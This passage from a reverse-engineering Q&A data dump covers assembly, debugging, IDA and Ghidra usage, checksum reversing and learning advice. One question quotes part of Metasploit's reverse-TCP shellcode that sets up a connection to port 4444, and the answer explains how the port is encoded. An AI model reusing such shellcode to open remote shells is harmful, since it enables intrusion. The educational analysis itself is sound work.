        "Answer": "<p>Registers <code>ss</code>, <code>cs</code>, <code>ds</code>, <code>es</code>, <code>gs</code>, <code>fs</code> are special. They are called <em>segment registers</em> and contain not addresses but <em>selectors</em>.</p>\n<p>A selector is used by the CPU as a reference to a segment - area of memory with a specific base (start address), limit (end address) and permissions.</p>\n<p>Selectors and segments are set up by the OS and in theory there may be many different segments, however in practice all modern OSes use flat memory segments (0 to 0xFFFFFFFF for 32-bit processes) for the standard code and data segments (<code>ss</code>, <code>cs</code>, <code>ds</code>)<sup>1</sup>. This means that in the expression <code>ss:[ebp+8]</code>, only the value of <code>EBP</code> is used for calculating the address. In your case it is indeed correct that</p>\n<p>EBP + 8 = 006FFB50 + 8 = 006FFB58</p>\n<p>which matches the value shown in brackets.</p>\n<p>However, the value after the <code>=</code> sign in the debugger is <strong>not</strong> the result of the calculation but the value which is present <em>in memory</em> at that address. If you open a memory dump and go to address 006FFB58, you should see <code>006FFC98</code> there.</p>\n<p>The brackets in the debugger hint signify <strong>memory dereference</strong>, similarly to the assembly syntax.</p>\n<p><sup>1</sup> <code>gs</code> and <code>fs</code> are treated differently and are usually used for Thread Local Storage (TLS) block which is different for every thread and does not start at 0 so e.g. fs:0 does not map to the RAM address 0.</p>\n"
    },
    {
        "Id": "25893",
        "CreationDate": "2020-09-15T12:23:55.477",
        "Body": "<p>Have an application that only crashes if CPU has SHA extensions. After some investigation find a hashing routine that only occurs if CPU has SHA extensions.</p>\n<p>I'm trying to confirm if issue is with input data or a bug in the application, original source code is not available. If a possible bug in the application trying to think what a possible original C code might look like that would generate this type of crash.</p>\n<p>The routine has the following disassembly:</p>\n<pre><code>X86_64_SHAEXT_SHA1Transform proc near   ; DATA XREF: X86_64_EnableCPUFeatures+14E\u2191o\n\narg_0           = qword ptr  8\narg_8           = qword ptr  10h\n\n                mov     [rsp+arg_0], rdi\n                mov     [rsp+arg_8], rsi\n                mov     rdi, rcx\n                mov     rsi, rdx\n                mov     rdx, r8\n                mov     rax, rsp\n                lea     rsp, [rsp-48h]\n                movaps  xmmword ptr [rax-48h], xmm6\n                movaps  xmmword ptr [rax-38h], xmm7\n                movaps  xmmword ptr [rax-28h], xmm8\n                movaps  xmmword ptr [rax-18h], xmm9\n                movdqu  xmm0, xmmword ptr [rdi]\n                movd    xmm1, dword ptr [rdi+10h]\n                movdqa  xmm3, cs:xmmword_7FFE8439F4A0\n                movdqu  xmm4, xmmword ptr [rsi]\n                pshufd  xmm0, xmm0, 1Bh\n                movdqu  xmm5, xmmword ptr [rsi+10h]\n                pshufd  xmm1, xmm1, 1Bh\n                movdqu  xmm6, xmmword ptr [rsi+20h]\n                pshufb  xmm4, xmm3\n                movdqu  xmm7, xmmword ptr [rsi+30h]\n                pshufb  xmm5, xmm3\n                pshufb  xmm6, xmm3\n                movdqa  xmm9, xmm1\n                pshufb  xmm7, xmm3\n                jmp     loc_7FFE8439F940\n; ---------------------------------------------------------------------------\n                align 20h\n\nloc_7FFE8439F940:                       ; CODE XREF: X86_64_SHAEXT_SHA1Transform+74\u2191j\n                                        ; X86_64_SHAEXT_SHA1Transform+28A\u2193j\n                dec     rdx\n                lea     rax, [rsi+40h]\n                paddd   xmm1, xmm4\n                cmovnz  rsi, rax\n                movdqa  xmm8, xmm0\n                sha1msg1 xmm4, xmm5\n                movdqa  xmm2, xmm0\n                sha1rnds4 xmm0, xmm1, 0\n                sha1nexte xmm2, xmm5\n                pxor    xmm4, xmm6\n                sha1msg1 xmm5, xmm6\n                sha1msg2 xmm4, xmm7\n                movdqa  xmm1, xmm0\n                sha1rnds4 xmm0, xmm2, 0\n                sha1nexte xmm1, xmm6\n                pxor    xmm5, xmm7\n                sha1msg2 xmm5, xmm4\n                sha1msg1 xmm6, xmm7\n                movdqa  xmm2, xmm0\n                sha1rnds4 xmm0, xmm1, 0\n                sha1nexte xmm2, xmm7\n                pxor    xmm6, xmm4\n                sha1msg1 xmm7, xmm4\n                sha1msg2 xmm6, xmm5\n                movdqa  xmm1, xmm0\n                sha1rnds4 xmm0, xmm2, 0\n                sha1nexte xmm1, xmm4\n                pxor    xmm7, xmm5\n                sha1msg2 xmm7, xmm6\n                sha1msg1 xmm4, xmm5\n                movdqa  xmm2, xmm0\n                sha1rnds4 xmm0, xmm1, 0\n                sha1nexte xmm2, xmm5\n                pxor    xmm4, xmm6\n                sha1msg1 xmm5, xmm6\n                sha1msg2 xmm4, xmm7\n                movdqa  xmm1, xmm0\n                sha1rnds4 xmm0, xmm2, 1\n                sha1nexte xmm1, xmm6\n                pxor    xmm5, xmm7\n                sha1msg2 xmm5, xmm4\n                sha1msg1 xmm6, xmm7\n                movdqa  xmm2, xmm0\n                sha1rnds4 xmm0, xmm1, 1\n                sha1nexte xmm2, xmm7\n                pxor    xmm6, xmm4\n                sha1msg1 xmm7, xmm4\n                sha1msg2 xmm6, xmm5\n                movdqa  xmm1, xmm0\n                sha1rnds4 xmm0, xmm2, 1\n                sha1nexte xmm1, xmm4\n                pxor    xmm7, xmm5\n                sha1msg2 xmm7, xmm6\n                sha1msg1 xmm4, xmm5\n                movdqa  xmm2, xmm0\n                sha1rnds4 xmm0, xmm1, 1\n                sha1nexte xmm2, xmm5\n                pxor    xmm4, xmm6\n                sha1msg1 xmm5, xmm6\n                sha1msg2 xmm4, xmm7\n                movdqa  xmm1, xmm0\n                sha1rnds4 xmm0, xmm2, 1\n                sha1nexte xmm1, xmm6\n                pxor    xmm5, xmm7\n                sha1msg2 xmm5, xmm4\n                sha1msg1 xmm6, xmm7\n                movdqa  xmm2, xmm0\n                sha1rnds4 xmm0, xmm1, 2\n                sha1nexte xmm2, xmm7\n                pxor    xmm6, xmm4\n                sha1msg1 xmm7, xmm4\n                sha1msg2 xmm6, xmm5\n                movdqa  xmm1, xmm0\n                sha1rnds4 xmm0, xmm2, 2\n                sha1nexte xmm1, xmm4\n                pxor    xmm7, xmm5\n                sha1msg2 xmm7, xmm6\n                sha1msg1 xmm4, xmm5\n                movdqa  xmm2, xmm0\n                sha1rnds4 xmm0, xmm1, 2\n                sha1nexte xmm2, xmm5\n                pxor    xmm4, xmm6\n                sha1msg1 xmm5, xmm6\n                sha1msg2 xmm4, xmm7\n                movdqa  xmm1, xmm0\n                sha1rnds4 xmm0, xmm2, 2\n                sha1nexte xmm1, xmm6\n                pxor    xmm5, xmm7\n                sha1msg2 xmm5, xmm4\n                sha1msg1 xmm6, xmm7\n                movdqa  xmm2, xmm0\n                sha1rnds4 xmm0, xmm1, 2\n                sha1nexte xmm2, xmm7\n                pxor    xmm6, xmm4\n                sha1msg1 xmm7, xmm4\n                sha1msg2 xmm6, xmm5\n                movdqa  xmm1, xmm0\n                sha1rnds4 xmm0, xmm2, 3\n                sha1nexte xmm1, xmm4\n                pxor    xmm7, xmm5\n                sha1msg2 xmm7, xmm6\n                movdqu  xmm4, xmmword ptr [rsi]\n                movdqa  xmm2, xmm0\n                sha1rnds4 xmm0, xmm1, 3\n                sha1nexte xmm2, xmm5\n                movdqu  xmm5, xmmword ptr [rsi+10h]\n                pshufb  xmm4, xmm3\n                movdqa  xmm1, xmm0\n                sha1rnds4 xmm0, xmm2, 3\n                sha1nexte xmm1, xmm6\n                movdqu  xmm6, xmmword ptr [rsi+20h]\n                pshufb  xmm5, xmm3\n                movdqa  xmm2, xmm0\n                sha1rnds4 xmm0, xmm1, 3\n                sha1nexte xmm2, xmm7\n                movdqu  xmm7, xmmword ptr [rsi+30h]\n                pshufb  xmm6, xmm3\n                movdqa  xmm1, xmm0\n                sha1rnds4 xmm0, xmm2, 3\n                sha1nexte xmm1, xmm9\n                pshufb  xmm7, xmm3\n                paddd   xmm0, xmm8\n                movdqa  xmm9, xmm1\n                jnz     loc_7FFE8439F940\n                pshufd  xmm0, xmm0, 1Bh\n                pshufd  xmm1, xmm1, 1Bh\n                movdqu  xmmword ptr [rdi], xmm0\n                movd    dword ptr [rdi+10h], xmm1\n                movaps  xmm6, xmmword ptr [rax-48h]\n                movaps  xmm7, xmmword ptr [rax-38h]\n                movaps  xmm8, xmmword ptr [rax-28h]\n                movaps  xmm9, xmmword ptr [rax-18h]\n                mov     rsp, rax\n                mov     rdi, [rsp+arg_0]\n                mov     rsi, [rsp+arg_8]\n                retn\nX86_64_SHAEXT_SHA1Transform endp\n</code></pre>\n<p>Function is called like this:</p>\n<pre><code>    00007ffe`8437223d ff15ade82100    call    qword ptr [crypto!g_pSHA1Transform (00007ffe`84590af0)] ds:00007ffe`84590af0={crypto!X86_64_SHAEXT_SHA1Transform (00007ffe`8439f8c0)}\n00007ffe`84372243 4803ee          add     rbp,rsi\n</code></pre>\n<p>When function enters, correct return address is on stack:</p>\n<pre><code>00007ffe`8439f8c0 48897c2408      mov     qword ptr [rsp+8],rdi ss:00000000`023fb6d0=00008bca8073ce32\n0:000&gt; dd @rsp\n00000000`023fb6c8  84372243 00007ffe 8073ce32 00008bca &lt;- return address on stack\n00000000`023fb6d8  47474747 00000000 00000004 00000000\n00000000`023fb6e8  00000060 00000000 00000005 00000000\n00000000`023fb6f8  8435e9af 00007ffe 00000078 00000000\n00000000`023fb708  00000000 00000000 023fb800 00000000\n00000000`023fb718  00000060 00000000 00000000 00000000\n00000000`023fb728  00000000 00000000 00000000 00000000\n00000000`023fb738  00000000 00000000 00000000 00000000\n</code></pre>\n<p>Here return address is trashed:</p>\n<pre><code>00007ffe`8439f8c0 48897c2408       mov     qword ptr [rsp+8], rdi\n00007ffe`8439f8c5 4889742410       mov     qword ptr [rsp+10h], rsi\n00007ffe`8439f8ca 4889cf           mov     rdi, rcx\n00007ffe`8439f8cd 4889d6           mov     rsi, rdx\n00007ffe`8439f8d0 4c89c2           mov     rdx, r8\n00007ffe`8439f8d3 4889e0           mov     rax, rsp  \n00007ffe`8439f8d6 488d6424b8       lea     rsp, [rsp-48h] &lt;- Trashes return address on stack\n</code></pre>\n<p>AFter this executes, return address gone :</p>\n<pre><code>0:000&gt; dd @rsp\n00000000`023fb680  47474747 47474747 00000000 47474747\n</code></pre>\n<p>When retn executes it's still broken, 0x548ec86043f333c9 doesn't point to any valid memory.</p>\n<pre><code>0:000&gt; dd @rsp\n00000000`023fb980  43f333c9 548ec860 240b3e9b 8cfc35f9 &lt;- Not a valid memory location on stack\n</code></pre>\n<p>It seems the intention is rsp is backed up in rax, and restored at end of function:</p>\n<pre><code>mov     rax, rsp\nlea     rsp, [rsp-48h]\n; &lt;processing code&gt;\nmov     rsp, rax\nmov     rdi, qword ptr [rsp+8]\nmov     rsi, qword ptr [rsp+10h]\nret     \n</code></pre>\n<p>However rax is changed during function:</p>\n<pre><code>lea     rax, [rsi+40h]\n</code></pre>\n<p>If rax hadn't changed the return address would still be correct.\nIs there a scenario when this code could have actually worked?</p>\n",
        "Title": "Application only Crashes on CPU with SHA extension",
        "Tags": "|c|amd64|",
        "Answer": "<p>The code is buggy. <code>rax</code> is used to store the original value of <code>rsp</code> and restore it at exit, but it\u2019s also used as a temporary register in the loop in the middle of the function.</p>\n<p>I suspect that this function was written manually in assembly but not actually tested on real hardware so the bug went unnoticed or, possibly, modified after initial testing and someone missed the fact that <code>rax</code> is used for two different purposes.</p>\n"
    },
    {
        "Id": "25894",
        "CreationDate": "2020-09-15T13:11:50.317",
        "Body": "<p>I'm trying to control an air conditioning unit. The app and the unit communicate using the <a href=\"https://github.com/mjg59/python-broadlink\" rel=\"nofollow noreferrer\">Broadlink protocol</a>. I can decode the settings it's sending and replay them.</p>\n<p>The payload is 32 bytes but only the middle 15 ever change (prefixed with <code>19 00 bb 00 06 80 00 00 0f 00 01 01</code> and suffixed with zeros). I think the last two bytes are some kind of checksum, but I'm unsuccessful in recreating it.</p>\n<p>Here's a sample (<a href=\"https://pastebin.com/ph6Bg8aD\" rel=\"nofollow noreferrer\">more</a>):</p>\n<pre><code>9f e4 07 60 00 20 00 00 00 00 00 00 00 87 19 \n9f e4 07 60 00 20 00 00 20 00 00 00 00 67 19 \n9f e4 2d 60 00 20 00 00 20 00 00 00 00 41 19 \n97 e4 87 60 00 20 00 00 20 00 00 00 00 ef 18 \n97 e4 07 60 00 20 00 00 20 00 00 00 00 6f 19 \n9f e4 87 60 00 20 00 00 20 00 00 00 00 e7 18 \na7 e4 07 60 00 20 00 00 20 00 00 00 00 5f 19 \na7 e4 07 60 00 80 00 00 20 00 00 00 00 5e b9 \na7 e4 07 40 00 20 00 00 20 00 00 00 00 5f 39 \na7 e4 07 20 00 20 00 00 20 00 00 00 00 5f 59 \na7 e4 07 20 40 20 00 00 20 00 00 00 00 1f 59\n</code></pre>\n<p>I think it's related to a sum because the same number of bits change in the sum, but I've calculated the difference and the XOR between the sum and the actual checksum and they aren't constant. Also tried reversing the bits with no luck.</p>\n",
        "Title": "What checksum algorithm is this?",
        "Tags": "|crc|protocol|",
        "Answer": "<p>I think there may be some noise on the line. Lauren Labell has a tool to try and automate reversing checksums: <a href=\"https://github.com/laurenlabell/checksum_finder\" rel=\"nofollow noreferrer\">https://github.com/laurenlabell/checksum_finder</a></p>\n<p>Here's what it generated:</p>\n<pre><code>#  start: 0 end: 0 check: 13 foldOp: &lt;built-in function sub&gt; finalOp: &lt;built-in function add&gt; magicValue: 0xaa\n# ================================================================================\n# Generated Code\n# --------------------------------------------------------------------------------\n\n\n\nimport operator\n\ndef twosComp(n):\n    return -n\n\ndef onesComp(n1, n2):\n    mod = 1 &lt;&lt; 8\n    result = n1 + n2\n    return result if result &lt; mod else (result + 1) % mod  \n\ndef pad(xs,w):\n    n = len(xs)\n    target_n = (-(-n//w)) * w\n    delta = target_n - n\n    xs_padded = xs+[0]*delta\n    return xs_padded\n\ndef chunk(xs,w):\n    xs_chunked = [xs[i:i+w] for i in range(0,len(xs),w)]\n    return xs_chunked\n\ndef to_int(x):\n    return int.from_bytes(bytes(x),'big')\n\n\ndef preprocess(hex_str,w):\n    hex_str = ''.join(hex_str.split(' '))\n    xs = [x for x in bytes.fromhex(hex_str)]\n    xs_padded = pad(xs,w)\n    xs_chunked = chunk(xs_padded,w)\n    xs_ints = [to_int(x) for x in xs_chunked]\n    return xs_ints\n\n\ndef calculate_checksum(payload):\n    magicValue = 0xaa\n    mask = 0xFF\n\n    checksum = 0\n    for element in payload:\n        checksum = operator.sub(checksum,element)\n    checksum =  operator.add(checksum,magicValue)\n    return checksum &amp; mask\n\ndef validate_message(rawmsg):\n    msgStart = 0\n    msgEnd = 0\n    checksumPos = 13 \n    width = 1\n\n    msg = preprocess(rawmsg,width)\n    payload = msg[msgStart:]\n    checksum = msg[checksumPos]\n    payload[checksumPos] = 0\n\n    return calculate_checksum(payload) == checksum\n\n# ================================================================================\n# Unit Tests\n# --------------------------------------------------------------------------------\n\nprint(validate_message('9f e4 07 60 00 20 00 00 00 00 00 00 00 87 19'),'9f e4 07 60 00 20 00 00 00 00 00 00 00 87 19')\nprint(validate_message('9f e4 2d 60 00 20 00 00 20 00 00 00 00 41 19'),'9f e4 2d 60 00 20 00 00 20 00 00 00 00 41 19')\nprint(validate_message('97 e4 07 60 00 20 00 00 20 00 00 00 00 6f 19'),'97 e4 07 60 00 20 00 00 20 00 00 00 00 6f 19')\nprint(validate_message('a7 e4 07 60 00 20 00 00 20 00 00 00 00 5f 19'),'a7 e4 07 60 00 20 00 00 20 00 00 00 00 5f 19')\nprint(validate_message('a7 e4 07 20 40 20 00 00 20 00 00 00 00 1f 59'),'a7 e4 07 20 40 20 00 00 20 00 00 00 00 1f 59')\n\n# --------------------------------------------------------------------------------\n# End Generated Code\n# --------------------------------------------------------------------------------\n</code></pre>\n"
    },
    {
        "Id": "25903",
        "CreationDate": "2020-09-16T06:32:31.437",
        "Body": "<p>While debugging a program, I have an address <code>0011E028</code> in <code>eax</code> that points to another address: <code>680df44</code>:<br />\n<a href=\"https://i.stack.imgur.com/2PypO.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/2PypO.png\" alt=\"enter image description here\" /></a></p>\n<p>I wanted to see what appear inside the address <code>680df44</code> so I go to <code>Search &gt; sequence of bytes...</code> (Alt+B) in IDA and searched for <code>680df44</code> but it didn't find this address:</p>\n<pre><code>Searching down CASE-INSENSITIVELY for binary pattern:\n    44 DF 80 06\nSearch failed.\nCommand &quot;AskBinaryText&quot; failed\n</code></pre>\n<p>I thought maybe the order was incorrect so I change it to <code>40f40d68</code> and it still failed:</p>\n<pre><code>Searching down CASE-INSENSITIVELY for binary pattern:\n    68 0D F4 40\nSearch failed.\nCommand &quot;AskBinaryText&quot; failed\n</code></pre>\n",
        "Title": "Can't find sequence of bytes in IDA while debugging",
        "Tags": "|ida|address|",
        "Answer": "<p>I found that I can convert the address to one line.<br />\nThis is before:<br />\n<a href=\"https://i.stack.imgur.com/mDw2h.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/mDw2h.png\" alt=\"enter image description here\" /></a></p>\n<p>If I put the cursor on <code>68h</code> and press in the keyboard <code>d</code> it add it to one line and complete it like that:<br />\n<a href=\"https://i.stack.imgur.com/offqF.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/offqF.png\" alt=\"enter image description here\" /></a></p>\n<p>Another thing, the address was incorrect, it was <code>0044DF68</code> and <strong>not</strong> <code>680df44</code>.<br />\nSo I can just jump to this address by pressing the <code>g</code> key and type the address <code>0044DF68</code>.</p>\n"
    },
    {
        "Id": "25908",
        "CreationDate": "2020-09-16T14:11:35.413",
        "Body": "<p>The code under inspection is a native Android library used in an Android application.\nThe decompiler is showing me a lot of lines in the style <code>DAT_12345678 = 0x12345678</code> with ascending addresses.\nI know that this is the initialization of an uninitialized array.</p>\n<p>When I want to set the data type, I get the error message <code>Address not found in program memory.</code>.</p>\n<p>I guess I have to create a memory block first, but in the <code>Memory Map</code> window I do not see an option to add blocks.</p>\n<p>How can I fix that? Thanks.</p>\n",
        "Title": "How to create an uninitialized variable in Ghidra?",
        "Tags": "|ghidra|",
        "Answer": "<p>You can add an uninitialized block of memory in the <code>Memory Map</code> window. Hit the little green &quot;Add a new block to memory&quot; button.</p>\n<p><a href=\"https://i.stack.imgur.com/3JO1P.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/3JO1P.png\" alt=\"Add a new block button\" /></a></p>\n<p>Change the start address to an area not currently mapped, specify the length of the block you wish to allocate, and select <code>Uninitialized</code>.</p>\n<p><a href=\"https://i.stack.imgur.com/tkygl.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/tkygl.png\" alt=\"menu\" /></a></p>\n"
    },
    {
        "Id": "25910",
        "CreationDate": "2020-09-16T16:03:18.360",
        "Body": "<p><img src=\"https://cdn.discordapp.com/attachments/598608711186907150/755818335987564655/unknown.png\" alt=\"Ghidra Window\" /></p>\n<p>This is very small and inconvenient to read. How do i open new Window (any shortcut key) or resize it, for some reason i cant resize.\nAny help?</p>\n<p>EDIT: Oh thanks Shane Riley, i clicked the blue button and suddenly it opened a new dialog box this is what i wanted. Then when i clicked closes, the Ghidra looks like this and i got my answer, the blue Cf like thing opened new dialog box\n<a href=\"https://i.stack.imgur.com/wS7Qy.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/wS7Qy.png\" alt=\"enter image description here\" /></a></p>\n",
        "Title": "How to open new window of decompiler or resize the decompiler of Ghidra?",
        "Tags": "|debugging|elf|ghidra|binary|decompiler|",
        "Answer": "<p>You can click on the top part of the desired window (which is blue in color when selected, and which has the title of the window written in it). You can then hold and drag it out of the screen.</p>\n<p>At this point, it may appear weird that only this title bar is moving with your mouse, but try releasing the mouse button while this title bar is someone outside the ghidra screen, e.g., on another monitor even. You'll find that the window pops out and you can resize it, etc., as you please.</p>\n<p>If on the other hand, you release it somewhere else within the ghidra screen, that repositions the window, possibly opening another tab to share the space with existing window(s) in that location.</p>\n"
    },
    {
        "Id": "25953",
        "CreationDate": "2020-09-22T18:19:45.483",
        "Body": "<p>I have read that TEST does a bitwise and on the two arguments. I have also read that jz and je are both equivalent, and jump if the zero flag is set. So here's the problem I'm struggling with. Consider the (rather useless) following code:</p>\n<pre><code>mov ax, 0x2\ntest ax, 0x2\nje equal\nmov ax, 0x0\njmp done\nequal:\nmov ax, 0x1\ndone:\n</code></pre>\n<p>Logically, &quot;jump if equal&quot; should jump, but 0x2 &amp; 0x2 should not set the zero flag. As I understand jz/je will jump if the zero flag is set, this means je is not logically doing what it implies (&quot;jump if equal&quot;). And in practice, the code will fall through and set ax to 0x0, rather than jumping and setting ax to 0x1.</p>\n<p>Can anyone explain where my understanding is going wrong? Clearly I'm not understanding something correctly.</p>\n<p>Thanks!</p>\n",
        "Title": "Help understanding x64 TEST instruction",
        "Tags": "|assembly|x86-64|",
        "Answer": "<p>je is normally used with cmp instruction like</p>\n<pre><code>cmp Reg16/32/64,const\nje someplace\n</code></pre>\n<p>while jz is normally used to check specifically for 0 or null\nlike</p>\n<pre><code>dec reg16/32/64 \njz someplace\n</code></pre>\n<p>i just modified your code to an infinite loop and emulated it in x86 emulator\nsee below for code and gif.</p>\n<p>code</p>\n<pre><code>mov ax, 0x2\ndec     ax\nand     ax, 0x1\njz  equal\nje  equal\ntest    ax, 1\njz  equal\nje  equal\ncmp     ax, 1\nredo:\njz  equal\nequal:\nje  redo\n</code></pre>\n<p><a href=\"https://i.stack.imgur.com/nB2en.gif\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/nB2en.gif\" alt=\"enter image description here\" /></a></p>\n"
    },
    {
        "Id": "25979",
        "CreationDate": "2020-09-26T21:50:37.697",
        "Body": "<p>I'm new in reversing and I'd like a lot to learn about it. I have little to no knowledge about it. Is still worth to learn x86 Assembly? Since almost everything these days work on x64 architecture. What would be your advice for someone who's starting out just like me? Some books, guides, tips, what to learn and what not, and why... (I'm manly interested in game hacking, I also have an intermediate level of Python and C#).</p>\n<p>Thanks!</p>\n",
        "Title": "How to start out in reversing?",
        "Tags": "|windows|python|c#|",
        "Answer": "<p>I'm starting in RE too (since beggining of 2020), and I thought I could put here what I've learned so far. Maybe it might be of help.</p>\n<p>So first of all, you need Assembly knowledges. You asked if it's still worth to learn x86 because there is x64 now. Well, that's a thing I learned too. x64 is just an extension of x86. The real name for x64 is actually x86_64. I learned Intel 8086 Assembly (university) with the help of EMU8086 (old program that emulates 8086 processor in which you can assembly Assembly programs and debug them - I'd recommend you to use MASM or another one to get real feeling of it, because you can write a program on the emulator like 2 MOVs and an INT and it will run, without sections and whatever --&gt; and that's wrong, it just allows you not to write those things and it will for you, but then you don't learn everything).</p>\n<p>If you learn 8086 Assembly (which is a 16-bit processor), it should give you many insights of how modern programs work. Won't give you everything though. Will help with the instructions as some didn't change much (maybe more things that I don't know), but won't help you make a program in Assembly. For that you need to learn more deeply about 32-bit and maybe 64-bit Assembly programming (something I haven't done yet) - as a start, you don't have direct access to hardware in 32/64 bits as you do in 16-bit.</p>\n<p>Then you need a Disassembler (I love IDA - there's a free version: IDA 7.0 Freeware). Code some simple (or not?) programs in C and then disassemble them and see how they were made. If you want to go more than that, find simple programs on the Internet, compile them without looking and try to translate to C. That helped me. I had programs I had coded for university classes that I didn't remember anymore, so I used those.</p>\n<p>You might also want to learn about how a PE executable is made, if you'll work on Windows. I'm just learning about that. I'm reading a book called &quot;Portable Executable File Format - A Reverse Engineer View&quot;. No idea if it's good or not, but it's telling me cool things about how they're made, like headers and sections, which was something on my list to learn. If you want to change a program, like adding or removing functionality, you may need to mess with the header - unless you just patch some bytes on it without changing the size of the file in any way. Then there's no need to mess with the header (I've patched a file like that a month ago as the first and only time for now - was AWSOME!!!).</p>\n<p>You could also learn Binary Exploitation, but not sure if that's what you want. If you do want this, I could recommend you an YouTube channel as a beggining to it: LiveOverflow, with this playlist: <a href=\"https://www.youtube.com/playlist?list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN\" rel=\"nofollow noreferrer\">https://www.youtube.com/playlist?list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN</a>. He has some more playlists on exploitation, by that way. That's applying old exploits though, but it's an introduction (was to me, at least, even though I stopped because I want to patch programs to improve them for now and not exploit them in real-time - that's after I learn how to patch, as it seems more advanced).</p>\n<p>By the way, I wrote this in the order I did the things (except exploitation and learning about PE format, but the order I wrote it should have been the one I'd have used - too excited that I just started with the videos hahaha).</p>\n<p>Of course, this is a begginer's answer. So a more &quot;professional&quot; answer probably is better. But I just wanted to say what I've done as a begginer's view of 2020 in learning RE, even if wrong in any (or more) aspects (<em>please correct me if anything I said is wrong</em>). Hope this helps in any way! This was big hahaha.</p>\n<p><strong>PS:</strong> I forgot something up there, but I'll put it here. You need to learn C... Maybe even BEFORE Assembly, like I did (university classes order). Go deep enough to go to pointers. See how that works. Make linked lists, for example. Or binary trees. Go to that level (do everything you need to learn before that, of course, but get to that). Then start Assembly and you shall see better what's happening behind the scenes when you make the programs you made to train on C.</p>\n<p><strong>EDIT:</strong> Since you said &quot;game hacking&quot;, seems a good place to say it... PLEASE don't hack to the bad part. Make cool mods, or whatever you'd like to do (I love mods on games). But don't make them online or something, or if you do, don't put stupid options... On PS3, GTA 5 Online is awful. Being able to lower levels of others, take stuff from them (give them stuff too, but it's possible to take which is worse and I'd prefer I could do none in that case) - BAN accounts without authorization from Rockstar... That's, I don't even have a word... Don't get to that...</p>\n"
    },
    {
        "Id": "25981",
        "CreationDate": "2020-09-27T09:17:27.550",
        "Body": "<p>I saw <a href=\"https://github.com/rapid7/metasploit-framework/blob/e6a741011fed35d97ceb734e1b31e6e58507a9a3/external/source/shellcode/windows/x86/src/block/block_reverse_tcp.asm#L41\" rel=\"nofollow noreferrer\">this</a> shellcode and when they use the <code>connect</code> function they pass the port number 4444:</p>\n<pre><code>set_address:\n  push byte 0x05         ; retry counter\n  push 0x0100007F        ; host 127.0.0.1\n  push 0x5C110002        ; family AF_INET and port 4444\n  mov esi, esp           ; save pointer to sockaddr struct\n</code></pre>\n<p>Or in <a href=\"https://coffeegist.com/security/slae-exam-5-shellcode-analysis-part-3/\" rel=\"nofollow noreferrer\">other website</a> like that:</p>\n<pre><code>0000001A      push dword 0x5c110002   ; [0x5c110002, 0x81caa8c0, 0x1, 0x0] // sin_port and sin_family (4444, 0x0002)\n</code></pre>\n<p>But they push <code>0x5C110002</code>, how they extract 4444 from <code>0x5C110002</code>?</p>\n",
        "Title": "How to extract port number from shellcode",
        "Tags": "|assembly|shellcode|",
        "Answer": "<p>The <code>connect</code> syscall takes a <code>sockaddr</code> structure as an argument, which looks something like this:</p>\n<pre><code>struct sockaddr_in {\n        short   sin_family;\n        u_short sin_port;\n        struct  in_addr sin_addr;\n        char    sin_zero[8];\n};\n</code></pre>\n<p>They aren't extracting 4444, it's simply passed on the stack as a two-byte short. You are passing to <code>connect</code>, in little-endian order:</p>\n<ul>\n<li><code>sin_family: 0x0002 (AF_INET)</code></li>\n<li><code>sin_port: 0x5c11 (4444 in hex, little endian)</code></li>\n<li><code>sin_addr: 0x0100007F ([127] [0] [0] [1], little endian)</code></li>\n</ul>\n"
    },
    {
        "Id": "25989",
        "CreationDate": "2020-09-27T19:05:42.073",
        "Body": "<p>I have a following program:</p>\n<pre><code>int b2[4];\nint foo()\n{\n  static int b2[10];\n  b2[5] = 4;\n}\nint main()\n{\n  static int b2[10];\n  int b[5];\n  b[0] = 1;\n  b2[9] = 4;\n  int *ptr = b;\n  int c = *(ptr + 10);\n  foo();\n  return 0;\n}\n</code></pre>\n<p>I want to distinguish between different b2 arrays defined in functions foo, main and globally. I can collect all the symbols using:</p>\n<pre><code>symbols = set(currentProgram.getSymbolTable().getAllSymbols(True))\n    for s in symbols:\n        print(s.getName())\n</code></pre>\n<p>But, there is no way to distinguish between static (in functional namespace) and global symbols.</p>\n<p>Ghidra GUI shows me something like:\nb2.1913 &lt;- main , b2.1917 &lt;- foo, b2 &lt;- global.</p>\n<p>Thus I can easily distinguish between these symbols using GUI.</p>\n<p>Thanks in advanced for your help.</p>\n",
        "Title": "ghidra scripting: how to distinguish between function and global symbol",
        "Tags": "|ghidra|",
        "Answer": "<p>The <code>Symbol</code> object has a couple different ways you could go about this. Here are a few options.</p>\n<pre class=\"lang-py prettyprint-override\"><code>symbols = set(currentProgram.getSymbolTable().getAllSymbols(True))\nfor s in symbols:\n    if s.getName() == &quot;b2&quot;:\n        print(s.getName(), s.getName(True), s.getParentSymbol().getName(), s.getParentNamespace())\n\n</code></pre>\n<p>Output:</p>\n<pre><code>GetSymbolType.py&gt; Running...\n(u'b2', u'b2', u'global', Global)\n(u'b2', u'foo()::b2', u'foo()', foo())\n(u'b2', u'main::b2', u'main', main)\n</code></pre>\n<p>Explanation:</p>\n<ol>\n<li><code>s.getName(true)</code> - Includes the parent namespace in the output (you'll notice that for global symbols, this has no effect)</li>\n<li><code>s.getParentSymbol().getName()</code>, name of the parent <code>Symbol</code>, which will be the namespace <code>Symbol</code> that contains <code>s</code></li>\n<li><code>s.getParentNamespace()</code> - return the parent <code>Namespace</code> object</li>\n</ol>\n<p>More details in the <a href=\"https://ghidra.re/ghidra_docs/api/ghidra/program/model/symbol/Symbol.html\" rel=\"nofollow noreferrer\">API docs</a>.</p>\n"
    },
    {
        "Id": "26006",
        "CreationDate": "2020-09-29T19:28:49.840",
